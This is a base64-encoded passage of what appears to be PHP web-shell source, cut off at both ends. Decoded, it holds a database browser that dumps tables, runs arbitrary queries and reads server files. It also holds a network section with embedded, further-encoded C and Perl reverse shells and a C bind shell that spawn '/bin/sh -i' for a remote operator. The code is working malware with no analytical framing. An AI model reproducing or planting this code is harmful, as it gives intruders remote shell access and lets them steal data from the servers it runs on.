ICAgICAgICAgICAgICAgICAgaWYoJHYgPT09IG51bGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICTilp9bJGtdID0gIk5VTEwiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZihpc19pbnQoJHYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk4pafWyRrXSA9ICR2Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJOKWn1ska10gPSAiJyIuQG15c3FsX3JlYWxfZXNjYXBlX3N0cmluZygkdikuIiciOw0KCQkJCQkJCSRjb2x1bW5zW10gPSAiYCIuJGsuImAiOw0KCQkJCQkJfQ0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGhlYWQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsIC49ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuIikgVkFMVUVTIFxuXHQoIi5pbXBsb2RlKCIsICIsICTilp8pLicpJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAiXG5cdCwoIi5pbXBsb2RlKCIsICIsICTilp8pLicpJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICRpKys7DQoJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgaWYoISRoZWFkKQ0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAiO1xuXG4iKTsgZWxzZSBlY2hvKCI7XG5cbiIpOw0KCQkJCWJyZWFrOw0KCQkJCWNhc2UgJ3Bnc3FsJzoNCgkJCQkJJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKTsNCgkJCQkJd2hpbGUoJOKWnyA9ICR0aGlzLT5mZXRjaCgpKSB7DQoJCQkJCQkkY29sdW1ucyA9IGFycmF5KCk7DQoJCQkJCQlmb3JlYWNoKCTilp8gYXMgJGs9PiR2KSB7DQoJCQkJCQkJJOKWn1ska10gPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOw0KCQkJCQkJCSRjb2x1bW5zW10gPSAkazsNCgkJCQkJCX0NCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAk4pafKS4nKTsnLiJcbiI7DQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQoJCQkJCX0NCgkJCQlicmVhazsNCgkJCX0NCgkJCXJldHVybiBmYWxzZTsNCgkJfQ0KCX07DQoJJGRiID0gbmV3IERiQ2xhc3MoJF9QT1NUWyd0eXBlJ10pOw0KCWlmKChAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSAmJiAoQCRfUE9TVFsncDEnXSE9J3NlbGVjdCcpKSB7DQoJCSRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKTsNCgkJJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOw0KICAgICAgICBzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsNCiAgICAgICAgICAgIGNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsNCiAgICAgICAgfQ0KICAgICAgICBpZihlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpIHsNCiAgICAgICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsNCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZHVtcC5zcWwiKTsNCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7DQogICAgICAgICAgICBmb3JlYWNoKCRfUE9TVFsndGJsJ10gYXMgJHYpDQoJCQkJJGRiLT5kdW1wKCR2KTsNCiAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0gZWxzZWlmKCRmcCA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwgJ3cnKSkgew0KICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KQ0KICAgICAgICAgICAgICAgICRkYi0+ZHVtcCgkdiwgJGZwKTsNCiAgICAgICAgICAgIGZjbG9zZSgkZnApOw0KICAgICAgICAgICAgdW5zZXQoJF9QT1NUWydwMiddKTsNCiAgICAgICAgfSBlbHNlDQogICAgICAgICAgICBkaWUoJzxzY3JpcHQ+YWxlcnQoIkVycm9yISBDYW5cJ3Qgb3BlbiBmaWxlIik7d2luZG93Lmhpc3RvcnkuYmFjaygtMSk8L3NjcmlwdD4nKTsNCgl9DQoJaGFyZEhlYWRlcigpOw0KCWVjaG8gIg0KPGgxPlNxbCBicm93c2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+DQo8Zm9ybSBuYW1lPSdzZicgbWV0aG9kPSdwb3N0JyBvbnN1Ym1pdD0nZnModGhpcyk7Jz48dGFibGUgY2VsbHBhZGRpbmc9JzInIGNlbGxzcGFjaW5nPScwJz48dHI+DQo8dGQ+VHlwZTwvdGQ+PHRkPkhvc3Q8L3RkPjx0ZD5Mb2dpbjwvdGQ+PHRkPlBhc3N3b3JkPC90ZD48dGQ+RGF0YWJhc2U8L3RkPjx0ZD48L3RkPjwvdHI+PHRyPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9bmUgdmFsdWU9Jyc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT1TcWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9J3F1ZXJ5Jz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMiB2YWx1ZT0nJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4iJz4NCjx0ZD48bGFiZWw+PHNlbGVjdCBuYW1lPSd0eXBlJz48b3B0aW9uIHZhbHVlPSdteXNxbCcgIjsNCiAgICBpZihAJF9QT1NUWyd0eXBlJ109PSdteXNxbCcpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ncGdzcWwnICI7DQppZihAJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L2xhYmVsPjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9ob3N0IHZhbHVlPVwiIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/J2xvY2FsaG9zdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKSAuIlwiPjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbiB2YWx1ZT1cIiIuIChlbXB0eSgkX1BPU1RbJ3NxbF9sb2dpbiddKT8ncm9vdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9sb2dpbiddKSkgLiJcIj48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfcGFzcyB2YWx1ZT1cIiIuIChlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSkgLiJcIiByZXF1aXJlZD48L3RkPjx0ZD4iOw0KCSR0bXAgPSAiPGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9iYXNlIHZhbHVlPScnPiI7DQoJaWYoaXNzZXQoJF9QT1NUWydzcWxfaG9zdCddKSl7DQoJCWlmKCRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKSkgew0KCQkJc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7DQoJCQkJY2FzZSAiV2luZG93cy0xMjUxIjogJGRiLT5zZXRDaGFyc2V0KCdjcDEyNTEnKTsgYnJlYWs7DQoJCQkJY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7DQoJCQkJY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsNCgkJCQljYXNlICJLT0k4LVUiOiAkZGItPnNldENoYXJzZXQoJ2tvaTh1Jyk7IGJyZWFrOw0KCQkJCWNhc2UgImNwODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjcDg2NicpOyBicmVhazsNCgkJCX0NCgkJCSRkYi0+bGlzdERicygpOw0KCQkJZWNobyAiPGxhYmVsPjxzZWxlY3QgbmFtZT1zcWxfYmFzZT48b3B0aW9uIHZhbHVlPScnPjwvb3B0aW9uPiI7DQoJCQl3aGlsZSgk4pafID0gJGRiLT5mZXRjaCgpKSB7DQoJCQkJbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgk4pafKTsNCgkJCQllY2hvICc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigkdmFsdWU9PSRfUE9TVFsnc3FsX2Jhc2UnXT8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbHVlLic8L29wdGlvbj4nOw0KCQkJfQ0KCQkJZWNobyAnPC9zZWxlY3Q+PC9sYWJlbD4nOw0KCQl9DQoJCWVsc2UgZWNobyAkdG1wOw0KCX1lbHNlDQoJCWVjaG8gJHRtcDsNCgllY2hvICI8L3RkPg0KCQkJCTx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCcgb25jbGljaz0nZnMoZC5zZik7Jz48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXNxbF9jb3VudCB2YWx1ZT0nb24nIiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJzonIGNoZWNrZWQnKSAuICI+IGNvdW50IHRoZSBudW1iZXIgb2Ygcm93czwvdGQ+DQoJCQk8L3RyPg0KCQk8L3RhYmxlPg0KCQk8c2NyaXB0Pg0KICAgICAgICAgICAgc19kYj0nIi5AYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9iYXNlJ10pLiInOw0KICAgICAgICAgICAgZnVuY3Rpb24gZnMoZikgew0KICAgICAgICAgICAgICAgIGlmKGYuc3FsX2Jhc2UudmFsdWUhPXNfZGIpIHsgZi5vbnN1Ym1pdCA9IGZ1bmN0aW9uKCkge307DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDEpIGYucDEudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDIpIGYucDIudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgICAgIGlmKGYucDMpIGYucDMudmFsdWU9Jyc7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KCQkJZnVuY3Rpb24gc3QodCxsKSB7DQoJCQkJZC5zZi5wMS52YWx1ZSA9ICdzZWxlY3QnOw0KCQkJCWQuc2YucDIudmFsdWUgPSB0Ow0KICAgICAgICAgICAgICAgIGlmKGwgJiYgZC5zZi5wMykgZC5zZi5wMy52YWx1ZSA9IGw7DQoJCQkJZC5zZi5zdWJtaXQoKTsNCgkJCX0NCgkJCWZ1bmN0aW9uIGlzKCkgew0KCQkJCWZvcihpPTA7aTxkLnNmLmVsZW1lbnRzWyd0YmxbXSddLmxlbmd0aDsrK2kpDQoJCQkJCWQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZCA9ICFkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQ7DQoJCQl9DQoJCTwvc2NyaXB0PiI7DQoJaWYoaXNzZXQoJGRiKSAmJiAkZGItPmxpbmspew0KCQllY2hvICI8YnIvPjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTIgY2VsbHNwYWNpbmc9MD4iOw0KCQkJaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpew0KCQkJCSRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsNCgkJCQllY2hvICI8dHI+PHRkIHdpZHRoPTEgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz48c3Bhbj5UYWJsZXM6PC9zcGFuPjxicj48YnI+IjsNCgkJCQkkdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsNCgkJCQl3aGlsZSgk4pafID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKSB7DQoJCQkJCWxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJOKWnyk7DQogICAgICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJHZhbHVlLicnKSk7DQoJCQkJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKTsNCgkJCQkJZWNobyAiPG5vYnI+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPVwic3QoJyIuJHZhbHVlLiInLDEpXCI+Ii4kdmFsdWUuIjwvYT4iIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycmbmJzcDsnOiIgPHNtYWxsPih7JG5bJ24nXX0pPC9zbWFsbD4iKSAuICI8L25vYnI+PGJyPiI7DQoJCQkJfQ0KCQkJCWVjaG8gIjxpbnB1dCB0eXBlPSdjaGVja2JveCcgb25jbGljaz0naXMoKTsnPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0R1bXAnIG9uY2xpY2s9J2RvY3VtZW50LnNmLnAyLnZhbHVlPVwiZG93bmxvYWRcIjtkb2N1bWVudC5zZi5zdWJtaXQoKTsnPjxicj5GaWxlIHBhdGg6PGlucHV0IHR5cGU9dGV4dCBuYW1lPWZpbGUgdmFsdWU9J2R1bXAuc3FsJz48L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPiI7DQoJCQkJaWYoQCRfUE9TVFsncDEnXSA9PSAnc2VsZWN0Jykgew0KCQkJCQkkX1BPU1RbJ3AxJ10gPSAncXVlcnknOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10gPSAkX1BPU1RbJ3AzJ10/JF9QT1NUWydwMyddOjE7DQoJCQkJCSRkYi0+cXVlcnkoJ1NFTEVDVCBDT1VOVCgqKSBhcyBuIEZST00gJyAuICRfUE9TVFsncDInXSk7DQoJCQkJCSRudW0gPSAkZGItPmZldGNoKCk7DQoJCQkJCSRwYWdlcyA9IGNlaWwoJG51bVsnbiddIC8gMzApOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8c2NyaXB0PmQuc2Yub25zdWJtaXQ9ZnVuY3Rpb24oKXtzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAiXCIsIGQuc2YucDMudmFsdWUpfTwvc2NyaXB0PjxzcGFuPiIuJF9QT1NUWydwMiddLiI8L3NwYW4+ICh7JG51bVsnbiddfSByZWNvcmRzKSBQYWdlICMgPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdwMycgdmFsdWU9IiAuICgoaW50KSRfUE9TVFsncDMnXSkgLiAiPiI7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIiBvZiAkcGFnZXMiOw0KICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AzJ10gPiAxKQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10tMSkgLiAiKSc+Jmx0OyBQcmV2PC9hPiI7DQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA8ICRwYWdlcykNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIiIC4gJF9QT1NUWydwMiddIC4gJyIsICcgLiAoJF9QT1NUWydwMyddKzEpIC4gIiknPk5leHQgJmd0OzwvYT4iOw0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10tLTsNCgkJCQkJaWYoJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpDQoJCQkJCQkkX1BPU1RbJ3AyJ10gPSAnU0VMRUNUICogRlJPTSAnLiRfUE9TVFsncDInXS4nIExJTUlUIDMwIE9GRlNFVCAnLigkX1BPU1RbJ3AzJ10qMzApOw0KCQkJCQllbHNlDQoJCQkJCQkkX1BPU1RbJ3AyJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3AyJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwMyddKjMwKS4nLDMwJzsNCgkJCQkJZWNobyAiPGJyPjxicj4iOw0KCQkJCX0NCgkJCQlpZigoQCRfUE9TVFsncDEnXSA9PSAncXVlcnknKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgew0KCQkJCQkkZGItPnF1ZXJ5KEAkX1BPU1RbJ3AyJ10pOw0KCQkJCQlpZigkZGItPnJlcyAhPT0gZmFsc2UpIHsNCgkJCQkJCSR0aXRsZSA9IGZhbHNlOw0KCQkJCQkJZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGNsYXNzPW1haW4+JzsNCgkJCQkJCSRsaW5lID0gMTsNCgkJCQkJCXdoaWxlKCTilp8gPSAkZGItPmZldGNoKCkpCXsNCgkJCQkJCQlpZighJHRpdGxlKQl7DQoJCQkJCQkJCWVjaG8gJzx0cj4nOw0KCQkJCQkJCQlmb3JlYWNoKCTilp8gYXMgJGtleSA9PiAkdmFsdWUpDQoJCQkJCQkJCQllY2hvICc8dGg+Jy4ka2V5Lic8L3RoPic7DQoJCQkJCQkJCXJlc2V0KCTilp8pOw0KCQkJCQkJCQkkdGl0bGU9dHJ1ZTsNCgkJCQkJCQkJZWNobyAnPC90cj48dHI+JzsNCgkJCQkJCQkJJGxpbmUgPSAyOw0KCQkJCQkJCX0NCgkJCQkJCQllY2hvICc8dHIgY2xhc3M9ImwnLiRsaW5lLiciPic7DQoJCQkJCQkJJGxpbmUgPSAkbGluZT09MT8yOjE7DQoJCQkJCQkJZm9yZWFjaCgk4pafIGFzICRrZXkgPT4gJHZhbHVlKSB7DQoJCQkJCQkJCWlmKCR2YWx1ZSA9PSBudWxsKQ0KCQkJCQkJCQkJZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOw0KCQkJCQkJCQllbHNlDQoJCQkJCQkJCQllY2hvICc8dGQ+Jy5ubDJicihodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSkpLic8L3RkPic7DQoJCQkJCQkJfQ0KCQkJCQkJCWVjaG8gJzwvdHI+JzsNCgkJCQkJCX0NCgkJCQkJCWVjaG8gJzwvdGFibGU+JzsNCgkJCQkJfSBlbHNlIHsNCgkJCQkJCWVjaG8gJzxkaXY+PGI+RXJyb3I6PC9iPiAnLmh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKS4nPC9kaXY+JzsNCgkJCQkJfQ0KCQkJCX0NCgkJCQllY2hvICI8YnI+PC9mb3JtPjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPVwicXVlcnlcIjtkLnNmLnAyLnZhbHVlPXRoaXMucXVlcnkudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHRleHRhcmVhIG5hbWU9J3F1ZXJ5JyBzdHlsZT0nd2lkdGg6MTAwJTtoZWlnaHQ6MTAwcHgnPiI7DQogICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDInXSkgJiYgKCRfUE9TVFsncDEnXSAhPSAnbG9hZGZpbGUnKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSk7DQogICAgICAgICAgICAgICAgZWNobyAiPC90ZXh0YXJlYT48YnIvPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRXhlY3V0ZSc+IjsNCgkJCQllY2hvICI8L3RkPjwvdHI+IjsNCgkJCX0NCgkJCWVjaG8gIjwvdGFibGU+PC9mb3JtPjxici8+IjsNCiAgICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKSB7DQogICAgICAgICAgICAgICAgJGRiLT5xdWVyeSgiU0VMRUNUIDEgRlJPTSBteXNxbC51c2VyIFdIRVJFIGNvbmNhdChgdXNlcmAsICdAJywgYGhvc3RgKSA9IFVTRVIoKSBBTkQgYEZpbGVfcHJpdmAgPSAneSciKTsNCiAgICAgICAgICAgICAgICBpZigkZGItPmZldGNoKCkpDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb3JtIG9uc3VibWl0PSdkLnNmLnAxLnZhbHVlPVwibG9hZGZpbGVcIjtkb2N1bWVudC5zZi5wMi52YWx1ZT10aGlzLmYudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHNwYW4+TG9hZCBmaWxlPC9zcGFuPiA8aW5wdXQgIGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3N1Ym1pdCc+PC9mb3JtPiI7DQogICAgICAgICAgICB9DQoJCQlpZihAJF9QT1NUWydwMSddID09ICdsb2FkZmlsZScpIHsNCgkJCQkkZmlsZSA9ICRkYi0+bG9hZEZpbGUoJF9QT1NUWydwMiddKTsNCgkJCQllY2hvICc8YnIvPjxwcmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsNCgkJCX0NCgl9IGVsc2Ugew0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKTsNCiAgICB9DQoJZWNobyAnPC9kaXY+JzsNCgloYXJkRm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhY3Rpb25OZXR3b3JrKCkgew0KCWhhcmRIZWFkZXIoKTsNCgkkYmFja19jb25uZWN0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM2x6TDNOdlkydGxkQzVvUGcwS0kybHVZMngxWkdVZ1BHNWxkR2x1WlhRdmFXNHVhRDROQ21sdWRDQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ3BoY21kMlcxMHBJSHNOQ2lBZ0lDQnBiblFnWm1RN0RRb2dJQ0FnYzNSeWRXTjBJSE52WTJ0aFpHUnlYMmx1SUhOcGJqc05DaUFnSUNCa1lXVnRiMjRvTVN3d0tUc05DaUFnSUNCemFXNHVjMmx1WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ0lDQWdjMmx1TG5OcGJsOXdiM0owSUQwZ2FIUnZibk1vWVhSdmFTaGhjbWQyV3pKZEtTazdEUW9nSUNBZ2MybHVMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2x1WlhSZllXUmtjaWhoY21kMld6RmRLVHNOQ2lBZ0lDQm1aQ0E5SUhOdlkydGxkQ2hCUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1NWQlFVazlVVDE5VVExQXBJRHNOQ2lBZ0lDQnBaaUFvS0dOdmJtNWxZM1FvWm1Rc0lDaHpkSEoxWTNRZ2MyOWphMkZrWkhJZ0tpa2dKbk5wYml3Z2MybDZaVzltS0hOMGNuVmpkQ0J6YjJOcllXUmtjaWtwS1R3d0tTQjdEUW9nSUNBZ0lDQWdJSEJsY25KdmNpZ2lRMjl1Ym1WamRDQm1ZV2xzSWlrN0RRb2dJQ0FnSUNBZ0lISmxkSFZ5YmlBd093MEtJQ0FnSUgwTkNpQWdJQ0JrZFhBeUtHWmtMQ0F3S1RzTkNpQWdJQ0JrZFhBeUtHWmtMQ0F4S1RzTkNpQWdJQ0JrZFhBeUtHWmtMQ0F5S1RzTkNpQWdJQ0J6ZVhOMFpXMG9JaTlpYVc0dmMyZ2dMV2tpS1RzTkNpQWdJQ0JqYkc5elpTaG1aQ2s3RFFwOSI7DQoJJGJhY2tfY29ubmVjdF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdsaFpHUnlQV2x1WlhSZllYUnZiaWdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ25MMkpwYmk5emFDQXRhU2NwT3cwS1kyeHZjMlVvVTFSRVNVNHBPdzBLWTJ4dmMyVW9VMVJFVDFWVUtUc05DbU5zYjNObEtGTlVSRVZTVWlrNyI7DQoJJGJpbmRfcG9ydF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNSeWFXNW5MbWcrRFFvamFXNWpiSFZrWlNBOGRXNXBjM1JrTG1nK0RRb2phVzVqYkhWa1pTQThibVYwWkdJdWFENE5DaU5wYm1Oc2RXUmxJRHh6ZEdSc2FXSXVhRDROQ21sdWRDQnRZV2x1S0dsdWRDQmhjbWRqTENCamFHRnlJQ29xWVhKbmRpa2dldzBLSUNBZ0lHbHVkQ0J6TEdNc2FUc05DaUFnSUNCamFHRnlJSEJiTXpCZE93MEtJQ0FnSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCeU93MEtJQ0FnSUdSaFpXMXZiaWd4TERBcE93MEtJQ0FnSUhNZ1BTQnpiMk5yWlhRb1FVWmZTVTVGVkN4VFQwTkxYMU5VVWtWQlRTd3dLVHNOQ2lBZ0lDQnBaaWdoY3lrZ2NtVjBkWEp1SUMweE93MEtJQ0FnSUhJdWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2NpNXphVzVmY0c5eWRDQTlJR2gwYjI1ektHRjBiMmtvWVhKbmRsc3hYU2twT3cwS0lDQWdJSEl1YzJsdVgyRmtaSEl1YzE5aFpHUnlJRDBnYU